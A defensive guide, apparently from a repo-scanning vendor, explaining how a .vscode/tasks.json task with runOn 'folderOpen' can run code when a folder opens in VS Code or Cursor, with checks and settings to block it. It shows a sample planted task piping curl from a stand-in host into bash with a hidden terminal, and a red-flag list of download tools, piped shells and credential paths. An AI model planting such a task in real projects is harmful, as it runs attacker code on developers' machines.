</>RescueMyRepoFree scan

// guide · VS Code · Cursor · supply chain · Nov 25, 2026

Opening a repo can run code: check .vscode/tasks.json for folderOpen tasks first

Short answer

  • A task with "runOn": "folderOpen" in .vscode/tasks.json runs its shell command when the folder opens. No click, no build.
  • VS Code blocks it in untrusted folders and asks once before allowing automatic tasks. Cursor ships with Workspace Trust off, so every folder counts as trusted.
  • Before opening an unfamiliar repo (or after a git pull you didn't expect), grep for folderOpen and read the command.
  • Set task.allowAutomaticTasks to "off" and turn on Workspace Trust in Cursor. If a planted task already ran, rotate the keys on that machine.

Why this matters for vibe coders

AI-built projects get cloned, forked and opened constantly: templates, “fix my repo” requests, starter kits, a contractor's handoff, the repo an agent was told to clone. Editor config is the part nobody reads. In November 2026 security researchers and developers on X reported repos and worms that plant a .vscode/tasks.json next to AI agent files like .claude/settings.json, so the task fires the next time someone opens the folder. We haven't verified each campaign, but the mechanism is documented editor behavior and easy to check.

How a planted task looks

The VS Code tasks docs describe runOptions.runOn: "folderOpen" means the task runs when the containing folder is opened. Combine it with a hidden terminal and a boring label and you get this:

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "eslint-check",            // harmless-sounding name
      "type": "shell",
      "command": "curl -s https://cdn-fonts.example.net/i.sh | bash",
      "presentation": { "reveal": "never", "echo": false },   // no visible terminal
      "runOptions": { "runOn": "folderOpen" }                 // runs on open
    }
  ]
}

The same task can live in a *.code-workspace file under "tasks". In 2025, Oasis Security showed a near-identical file running curl the moment the folder was opened in Cursor's default setup. Cursor's security docs confirm Workspace Trust “is disabled by default.”

The 1-minute check (before you open the folder)

# Run in a terminal BEFORE opening the folder in VS Code or Cursor
grep -rn --include=tasks.json --include='*.code-workspace' folderOpen . \
  --exclude-dir=node_modules

# For each hit: who added it, and when?
git log -p --follow -- .vscode/tasks.json

If the grep prints anything, read the task's command and args (including the windows, linux and osx variants). These are red flags:

curl  wget  Invoke-WebRequest  iwr  irm  certutil  http://  https://
| sh   | bash   | iex   eval   node -e   python -c
base64 -d   -EncodedCommand   FromBase64String
~/.ssh  id_rsa  .aws/credentials  .npmrc  .git-credentials  .env
node public/fonts/inter.woff2      (code disguised as a font or image)
a command padded with hundreds of spaces so the real part is off-screen

A plain npm run dev or tsc --watch on open is usually a convenience someone added on purpose. Still check git log: a task you didn't write, added by an unfamiliar author or a bot commit, is the warning sign.

Three editor settings to change today

// User settings.json (VS Code and Cursor)
{
  // never run folderOpen tasks without you starting them
  "task.allowAutomaticTasks": "off",

  // Cursor: Workspace Trust is OFF by default. Turn it on so new folders ask first.
  "security.workspace.trust.enabled": true,
  "security.workspace.trust.startupPrompt": "always"
}

Per the VS Code docs, task.allowAutomaticTasks defaults to "off" (you get one prompt per workspace) and automatic tasks never run in an untrusted workspace (Workspace Trust). Cursor's docs don't state its default for automatic tasks, so set it explicitly. Cursor notes that Restricted Mode breaks its AI features; for repos you don't trust yet, read the config in a plain text editor or a throwaway container first.

If you want a task, make it opt-in

Keep the convenience without auto-running anything: drop runOptions and start the task from Run Task when you need it.

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "dev",
      "type": "shell",
      "command": "npm run dev",
      "isBackground": true
      // no runOptions: it runs only when you pick it from Run Task
    }
  ]
}

If a planted task already ran

Prompt to paste into Claude Code or Cursor (read-only)

Before I open this repo in my editor, audit its editor and agent config:
1. List every .vscode/tasks.json and *.code-workspace task with runOptions.runOn "folderOpen". Show the full command and args, decoded if base64 or padded with whitespace.
2. Do the same for .vscode/launch.json preLaunchTask, .vscode/settings.json, .claude/settings.json hooks, .mcp.json servers, .cursor/ rules, AGENTS.md/CLAUDE.md setup instructions and package.json preinstall/postinstall scripts.
3. For each one, tell me what it does and whether it touches the network, credentials or files outside the repo.
4. Show the commit and author that added anything suspicious (git log -p --follow).
Do NOT run any of these commands. Only read the files.

Check it automatically

RescueMyRepo's free scan reads .vscode/tasks.json and *.code-workspace files without running anything and flags every folderOpen task. Network calls, piped shells, inline or base64 code, credential paths, “fonts” run with node and padded commands are flagged high; hidden-terminal tasks medium; a plain dev server on open is noted as info. The same scan checks committed agent configs for secrets, Supabase RLS, Stripe webhooks and unauthenticated AI routes.

Scan my repo freePublic GitHub repos · no signup · about a minute

FAQ

What does runOn: folderOpen do?

It is a documented VS Code task option. Per the VS Code tasks docs, a task with "runOptions": { "runOn": "folderOpen" } runs when the folder that contains it is opened. People use it to start a dev server or watcher automatically. The command is whatever the task says, so it can just as easily download and run a script.

Does VS Code run it without asking?

Not by default. VS Code's docs say automatic tasks never run in an untrusted workspace, and the task.allowAutomaticTasks setting defaults to "off": you get one Allow/Disallow prompt per workspace. If you trust the folder and click Allow, or have set the setting to "on", the task runs every time the folder opens.

Is Cursor different?

Yes. Cursor's own security docs say it supports Workspace Trust but it is disabled by default, which means every folder is treated as trusted. Oasis Security showed in September 2025 (updated May 2026) that a repo with a folderOpen task ran code as soon as it was opened in Cursor's default setup. Cursor's docs don't say what its task.allowAutomaticTasks default is, so set it yourself.

I only cloned the repo. Am I affected?

Cloning alone doesn't run a task; opening the folder in the editor does. It also applies to your own repos: if a compromised dependency, GitHub Action or teammate account commits a tasks.json, the next git pull plus opening the folder runs it on your machine.

Do AI coding agents catch this?

Don't count on it. The task lives in editor config, not in the code an agent is asked to review, and it runs before you or the agent read anything. Check the file yourself or with a scanner before you open an unfamiliar repo.

Does RescueMyRepo check for this?

Yes, since Nov 25, 2026. The free scan reads .vscode/tasks.json and *.code-workspace files and flags any folderOpen task. A task that downloads or sends data (curl, wget, Invoke-WebRequest, URLs), pipes into a shell, runs inline or base64-encoded code, touches SSH keys or .env files, runs a font or image file with node, or hides a very long command is flagged high. A hidden-terminal task is medium, and a plain npm run dev on open is noted as info.

Sources

Editor behavior per the linked docs, read Nov 25, 2026. Defaults can change between editor versions; check yours.